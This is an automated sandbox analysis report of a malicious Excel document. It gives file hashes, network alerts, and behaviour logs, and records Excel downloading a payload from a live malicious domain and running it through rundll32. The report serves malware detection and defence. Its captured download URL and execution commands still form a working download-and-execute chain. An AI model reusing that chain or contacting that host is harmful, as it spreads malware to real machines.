Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 18, 2021, 9:48 a.m.	May 18, 2021, 9:54 a.m.

Size	380.5KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Author: Operator, Last Saved By: vi-vi, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Mon May 17 08:33:52 2021, Security: 0
MD5	`62c064e08d3aef1d97e64068583345d1`
SHA256	`5cb31f26f2193c325c732477e1af4fae1fb5545e7c1c3c49dd8feed761d40e34`
CRC32	`F05C2487`
ssdeep	`6144:IcPiNQApW/89bK103eGvgZqr3h8GB3ckt6Uqa5DPdG9uS9QLn4z8y6j:ut6Uqa5DPdG9uS9QLn4z8v`
Yara	Microsoft_Office_File_Zero - Microsoft Office File

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\diagram-553418662.xls
2812
- rundll32.exe rundll32 ..\bubl.cmi,DllRegisterServer
  1472
- rundll32.exe rundll32 ..\bubl.cmi1,DllRegisterServer
  412

Name	Response	Post-Analysis Lookup
hermescomm.net	A 162.241.27.24	162.241.27.24

IP Address	Status	Action
162.241.27.24	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 162.241.27.24:443 -> 192.168.56.101:49213	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 162.241.27.24:443 -> 192.168.56.101:49209	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.101:49207 -> 162.241.27.24:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49208 -> 162.241.27.24:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49211 -> 162.241.27.24:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49212 -> 162.241.27.24:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

No Suricata TLS

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 18, 2021, 9:47 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ May 18, 2021, 9:48 a.m.	stacktrace: CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x766fd08c TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x766f964b TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x766e4d6b TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x766e6f7c CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x766ee825 TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x766e6002 TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x766e5fe8 TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x766e49e3 TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x766e5a20 RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x773d9a91 LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x773f8f10 RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x773f8e5c ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x75737a25 rundll32+0x135c @ 0xf1135c rundll32+0x1901 @ 0xf11901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25 exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4 exception.instruction: call dword ptr [ecx + 0xc] exception.module: MSCTF.dll exception.exception_code: 0xc0000005 exception.offset: 278260 exception.address: 0x76713ef4 registers.esp: 2815348 registers.edi: 0 registers.eax: 48138624 registers.ebp: 2815376 registers.edx: 1 registers.ebx: 0 registers.esi: 6540904 registers.ecx: 1845638620	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

May 18, 2021, 9:48 a.m.

stacktrace:

CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x766fd08c
TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x766f964b
TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x766e4d6b
TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x766e6f7c
CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x766ee825
TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x766e6002
TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x766e5fe8
TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x766e49e3
TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x766e5a20
RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x773d9a91
LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x773f8f10
RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x773f8e5c
ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x75737a25
rundll32+0x135c @ 0xf1135c
rundll32+0x1901 @ 0xf11901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25
exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4
exception.instruction: call dword ptr [ecx + 0xc]
exception.module: MSCTF.dll
exception.exception_code: 0xc0000005
exception.offset: 278260
exception.address: 0x76713ef4
registers.esp: 2815348
registers.edi: 0
registers.eax: 48138624
registers.ebp: 2815376
registers.edx: 1
registers.ebx: 0
registers.esi: 6540904
registers.ecx: 1845638620

Allocates read-write-execute memory (usually to unpack itself) (20 events)

Time & API	Arguments	Status
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6dce1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6dd3f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6dd3f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6dc81000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6dbc1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6dbc1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6db41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75241000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73321000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6da51000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6da41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6da01000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d9f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d9b1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06d30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06d30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06d80000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 18, 2021, 9:47 a.m.	process_identifier: 2812 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06d90000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW May 18, 2021, 9:47 a.m.	url: https://hermescomm.net/x9NvrhL0/lena.html stack_pivoted: 0 filepath_r: ..\bubl.cmi filepath: C:\Users\test22\bubl.cmi		2148270085	0
URLDownloadToFileW May 18, 2021, 9:47 a.m.	url: https://hermescomm.net/x9NvrhL0/lena.html stack_pivoted: 0 filepath_r: ..\bubl.cmi1 filepath: C:\Users\test22\bubl.cmi1		2148270085	0

One or more non-whitelisted processes were created (2 events)

parent_process	excel.exe				martian_process	rundll32 ..\bubl.cmi1,DllRegisterServer
parent_process	excel.exe				martian_process	rundll32 ..\bubl.cmi,DllRegisterServer

diagram-553418662.xls

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